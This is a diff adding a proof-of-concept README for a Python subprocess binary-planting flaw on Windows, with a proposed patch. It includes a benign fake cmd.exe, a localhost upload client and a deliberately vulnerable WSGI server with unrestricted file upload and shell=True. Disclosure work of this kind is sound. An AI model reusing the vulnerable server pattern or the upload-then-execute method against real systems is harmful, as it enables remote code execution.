|
| 1 | +# Python Subprocess Vulnerability - POC RCE |
| 2 | + |
| 3 | +There is a vulnerability in python `subprocess` module. |
| 4 | +When `subprocess.Popen` was launched with `shell=True` on Windows and without `COMSPEC` environment variable, |
| 5 | +the executable launched is `cmd.exe` and the full path is not defined. |
| 6 | + |
| 7 | +It's possible to launch a malicious `cmd.exe` file from working directory |
| 8 | +or any any path before the `C:\Windows\system32` directory in the `PATH`. |
| 9 | + |
| 10 | +## Requirements |
| 11 | + |
| 12 | + - Windows machine without `COMSPEC` |
| 13 | + - Use `subprocess.Popen` or any `subprocess` function that use `subprocess.Popen` with `shell=True` |
| 14 | + - Possible upload in working directory or any path before the `C:\Windows\system32` directory in the `PATH` |
| 15 | + |
| 16 | +## Patch |
| 17 | + |
| 18 | +Replace `cmd.exe` by `C:\WINDOWS\system32\cmd.exe` in `subprocess` module. |
| 19 | + |
| 20 | +## Client Exploit |
| 21 | + |
| 22 | +### Fake malicious cmd.exe for POC |
| 23 | + |
| 24 | +```c |
| 25 | +#include <stdio.h> |
| 26 | +int main() {printf("H4CK3D - EXPLOIT IS WORKING\n");return 0;} |
| 27 | +# gcc -o not_cmd.exe RCE_program.c |
| 28 | +``` |
| 29 | +
|
| 30 | +### Python HTTP client |
| 31 | +
|
| 32 | +```python |
| 33 | +from urllib.request import Request, urlopen |
| 34 | +
|
| 35 | +get_response = urlopen("http://127.0.0.1:8000/") |
| 36 | +post_response = urlopen(Request("http://127.0.0.1:8000/cmd.exe", data=open('not_cmd.exe', 'rb').read())) # upload a malicious cmd.exe file |
| 37 | +exploit_response = urlopen("http://127.0.0.1:8000/") # RCE -> cmd.exe file is executed instead of C:\WINDOWS\system32\cmd.exe |
| 38 | +``` |
| 39 | + |
| 40 | +## Vulnerable server code |
| 41 | + |
| 42 | +```python |
| 43 | +from wsgiref.simple_server import make_server |
| 44 | +from subprocess import Popen, DEVNULL |
| 45 | +from os.path import basename |
| 46 | +from sys import executable |
| 47 | +from os import environ |
| 48 | + |
| 49 | +del environ['COMSPEC'] # force environment without COMSPEC |
| 50 | + |
| 51 | +def app(environ, start_response): |
| 52 | + method = environ["REQUEST_METHOD"] |
| 53 | + if method == "GET": |
| 54 | + process = Popen("myprogram", shell=True, stderr=DEVNULL) |
| 55 | + process.communicate() |
| 56 | + status = "200 OK" |
| 57 | + content = b"GET OK" |
| 58 | + elif method == "POST": |
| 59 | + status = "200 OK" |
| 60 | + content = b"File uploaded successfully." |
| 61 | + content_length = environ.get("CONTENT_LENGTH", "0") |
| 62 | + if content_length.isdigit(): |
| 63 | + with open(basename(environ["PATH_INFO"]), 'wb') as file: |
| 64 | + file.write(environ["wsgi.input"].read(int(content_length))) |
| 65 | + else: |
| 66 | + status = "400 Bad Request" |
| 67 | + content = b'Invalid Content-Length header.' |
| 68 | + else: |
| 69 | + status = "400 Bad Request" |
| 70 | + content = b"Only GET and POST methods allowed." |
| 71 | + start_response(status, [('Content-type', 'text/plain')]) |
| 72 | + return (content,) |
| 73 | + |
| 74 | +with make_server('127.0.0.1', 8000, app) as httpd: |
| 75 | + httpd.serve_forever() |
| 76 | +``` |
0 commit comments